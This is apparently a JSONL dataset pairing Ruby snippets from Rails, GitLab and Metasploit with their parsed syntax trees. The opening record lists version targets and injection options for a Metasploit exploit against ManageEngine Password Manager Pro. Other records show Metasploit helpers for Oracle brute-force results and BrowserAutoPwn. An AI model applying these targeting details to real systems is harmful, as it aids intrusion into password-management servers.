Windows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WebRoot\"]},{\"type\":\"str\",\"children\":[\"C:\\\\ManageEngine\\\\PMP\\\\webapps\\\\PassTrix\\\\\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Database\"]},{\"type\":\"str\",\"children\":[\"postgresql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WebRoot\"]},{\"type\":\"str\",\"children\":[\"../../webapps/PassTrix/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Database\"]},{\"type\":\"str\",\"children\":[\"mysql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WebRoot\"]},{\"type\":\"str\",\"children\":[\"/opt/ManageEngine/PMP/webapps/PassTrix/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Database\"]},{\"type\":\"str\",\"children\":[\"postgresql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WebRoot\"]},{\"type\":\"str\",\"children\":[\"../../webapps/PassTrix/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Database\"]},{\"type\":\"str\",\"children\":[\"mysql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-06-08\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The target port\"]},{\"type\":\"int\",\"children\":[8020]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WEB_ROOT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Slash terminated web server root filepath (escape Windows paths with 4 slashes \\\\\\\\\\\\\\\\)\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"CHUNK_SIZE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Number of characters to send per request (< 7800)\"]},{\"type\":\"int\",\"children\":[7500]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"SLEEP\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXE_SMALL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Use exe-small encoding for better reliability\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"7eff5e52-c211-41cd-a22c-65c655dc58a6"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/validates_test.rb","start_line":90,"raw_source":"def test_validates_with_allow_nil_shared_conditions\n    Person.validates :karma, length: { minimum: 20 }, email: true, allow_nil: true\n    person = Person.new\n    assert_predicate person, :valid?\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_with_allow_nil_shared_conditions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"validates\",{\"type\":\"sym\",\"children\":[\"karma\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"length\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minimum\"]},{\"type\":\"int\",\"children\":[20]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_nil\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"person\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"person\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"0ebcd565-8dec-4d5f-9141-e5cb75e04f22"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/postgresql_cte.rb","start_line":106,"raw_source":"def build_arel(*)\n      arel = super\n\n      build_with(arel) if @values[:with_values]\n\n      arel\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"build_arel\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arel\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"with_values\"]}]},{\"type\":\"send\",\"children\":[null,\"build_with\",{\"type\":\"lvar\",\"children\":[\"arel\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"arel\"]}]}]}","id":"b25570fa-afe9-4a2f-b7b1-11b33374698b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/register_job_service.rb","start_line":342,"raw_source":"def track_exception_for_build(ex, build)\n      Gitlab::ErrorTracking.track_and_raise_for_dev_exception(ex, **build_tracking_data(build))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"track_exception_for_build\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ex\"]},{\"type\":\"arg\",\"children\":[\"build\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_and_raise_for_dev_exception\",{\"type\":\"lvar\",\"children\":[\"ex\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_tracking_data\",{\"type\":\"lvar\",\"children\":[\"build\"]}]}]}]}]}]}","id":"0ddc5275-0513-4cd8-a789-ab86e3063e03"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/oracle/oracle_login.rb","start_line":135,"raw_source":"def process_host(h)\n    h[\"ports\"].each do |p|\n      next if (h[\"scripts\"].nil? || h[\"scripts\"].empty?)\n\n      h[\"scripts\"].each do |id, output|\n        next unless id == \"oracle-brute\"\n\n        parse_script_output(h[\"addr\"], p[\"portid\"], output)\n      end\n    end\n  end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"process_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ports\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"scripts\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"scripts\"]}]},\"empty?\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"scripts\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"arg\",\"children\":[\"output\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"==\",{\"type\":\"str\",\"children\":[\"oracle-brute\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"parse_script_output\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"addr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"str\",\"children\":[\"portid\"]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}]}]}]}","id":"47b32e43-2334-48c5-b529-6ad595838f90"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/console/irb_console.rb","start_line":81,"raw_source":"def start\n        IRB.setup(nil)\n\n        if !Rails.env.local? && !ENV.key?(\"IRB_USE_AUTOCOMPLETE\")\n          IRB.conf[:USE_AUTOCOMPLETE] = false\n        end\n\n        env = colorized_env\n        prompt_prefix = \"%N(#{env})\"\n        # Respect user's configured irb name.\n        IRB.conf[:IRB_NAME] = @app.name if IRB.conf[:IRB_NAME] == \"irb\"\n\n        IRB.conf[:PROMPT][:RAILS_PROMPT] = {\n          PROMPT_I: \"#{prompt_prefix}:%03n> \",\n          PROMPT_S: \"#{prompt_prefix}:%03n%l \",\n          PROMPT_C: \"#{prompt_prefix}:%03n* \",\n          RETURN: \"=> %s\\n\"\n        }\n\n        if current_filter = IRB.conf[:BACKTRACE_FILTER]\n          IRB.conf[:BACKTRACE_FILTER] = -> (backtrace) do\n            backtrace = current_filter.call(backtrace)\n            Rails.backtrace_cleaner.filter(backtrace)\n          end\n        else\n          IRB.conf[:BACKTRACE_FILTER] = -> (backtrace) do\n            Rails.backtrace_cleaner.filter(backtrace)\n          end\n        end\n\n        # Respect user's choice of prompt mode.\n        IRB.conf[:PROMPT_MODE] = :RAILS_PROMPT if IRB.conf[:PROMPT_MODE] == :DEFAULT\n        IRB::Irb.new.run(IRB.conf)\n      end","complexity_score":54.6,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IRB\"]},\"setup\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"local?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"key?\",{\"type\":\"str\",\"children\":[\"IRB_USE_AUTOCOMPLETE\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IRB\"]},\"conf\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"USE_AUTOCOMPLETE\"]},{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"env\",{\"type\":\"send\",\"children\":[null,\"colorized_env\"]}]},{\"type\":\"lvasgn\",\"children\":[\"prompt_prefix\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%N(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IRB\"]},\"conf\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"IRB_NAME\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"irb\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IRB\"]},\"conf\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"IRB_NAME\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"name\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IRB\"]},\"conf\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"PROMPT\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"RAILS_PROMPT\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"PROMPT_I\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt_prefix\"]}]},{\"type\":\"str\",\"children\":[\":%03n> \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"PROMPT_S\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt_prefix\"]}]},{\"type\":\"str\",\"children\":[\":%03n%l \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"PROMPT_C\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt_prefix\"]}]},{\"type\":\"str\",\"children\":[\":%03n* \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"RETURN\"]},{\"type\":\"str\",\"children\":[\"=> %s\\n\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_filter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IRB\"]},\"conf\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"BACKTRACE_FILTER\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IRB\"]},\"conf\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"BACKTRACE_FILTER\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"backtrace\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"backtrace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_filter\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"backtrace\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"backtrace_cleaner\"]},\"filter\",{\"type\":\"lvar\",\"children\":[\"backtrace\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IRB\"]},\"conf\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"BACKTRACE_FILTER\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"backtrace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"backtrace_cleaner\"]},\"filter\",{\"type\":\"lvar\",\"children\":[\"backtrace\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IRB\"]},\"conf\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"PROMPT_MODE\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"DEFAULT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IRB\"]},\"conf\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"PROMPT_MODE\"]},{\"type\":\"sym\",\"children\":[\"RAILS_PROMPT\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IRB\"]},\"Irb\"]},\"new\"]},\"run\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IRB\"]},\"conf\"]}]}]}]}","id":"40ff4255-ead2-4148-9343-c347518239b7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespace.rb","start_line":1029,"raw_source":"def schedule_sync_event_worker\n    run_after_commit do\n      Namespaces::SyncEvent.enqueue_worker\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"schedule_sync_event_worker\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_after_commit\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaces\"]},\"SyncEvent\"]},\"enqueue_worker\"]}]}]}","id":"25f55012-0c9e-4ca3-b13f-42b91b2f9378"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/kubernetes/auth_parser.rb","start_line":174,"raw_source":"def combine_resource_groups(resources, groups)\n    return '' if resources.empty?\n\n    parts = resources[0].split('/', 2)\n    result = parts[0]\n\n    if groups.count > 0 && groups[0] != ''\n      result = result + '.' + groups[0]\n    end\n\n    if parts.count == 2\n      result = result + '/' + parts[1]\n    end\n\n    result\n  end","complexity_score":27.78,"ast_json":"{\"type\":\"def\",\"children\":[\"combine_resource_groups\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resources\"]},{\"type\":\"arg\",\"children\":[\"groups\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resources\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resources\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"!=\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"+\",{\"type\":\"str\",\"children\":[\".\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"count\"]},\"==\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"+\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"b2cb80c7-aa49-4bc8-8437-b71bdac2ed0d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/browser_autopwn2.rb","start_line":512,"raw_source":"def show_ready_exploits\n      columns = ['Order', 'Rank', 'Name', 'Path', 'Payload']\n\n      # If not verbose, you're not in dev mode.\n      # As an user, you shouldn't be using any of these paths anyway.\n      columns.delete('Path') if !datastore['VERBOSE']\n\n      table = Rex::Text::Table.new(\n        'Header'  => 'Exploits',\n        'Indent'  => 1,\n        'Columns' => columns\n      )\n\n      # Without the order, sometimes the Rex table messes up even though in the array\n      # the order looks right. So don't get rid of this.\n      order = 1\n\n      bap_exploits.each do |m|\n        row = []\n        row << order\n        row << parse_rank(m.rank)\n        row << m.shortname\n        row << m.datastore['URIPATH'] if datastore['VERBOSE']\n        row << \"#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}\"\n        table << row\n        order += 1\n      end\n\n      print_line\n      print_status(\"The following is a list of exploits that BrowserAutoPwn will consider using.\")\n      print_status(\"Exploits with the highest ranking and newest will be tried first.\")\n      print_line\n      print_line table.to_s\n    end","complexity_score":48.3,"ast_json":"{\"type\":\"def\",\"children\":[\"show_ready_exploits\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"columns\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Order\"]},{\"type\":\"str\",\"children\":[\"Rank\"]},{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Path\"]},{\"type\":\"str\",\"children\":[\"Payload\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"delete\",{\"type\":\"str\",\"children\":[\"Path\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"Exploits\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"order\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bap_exploits\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"row\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"order\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"parse_rank\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"rank\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"shortname\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIPATH\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PAYLOAD\"]}]}]},{\"type\":\"str\",\"children\":[\" on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"row\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"order\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"The following is a list of exploits that BrowserAutoPwn will consider using.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Exploits with the highest ranking and newest will be tried first.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"to_s\"]}]}]}]}","id":"61f18a4c-0d8a-4eba-bcc6-f6956bb7414c"}
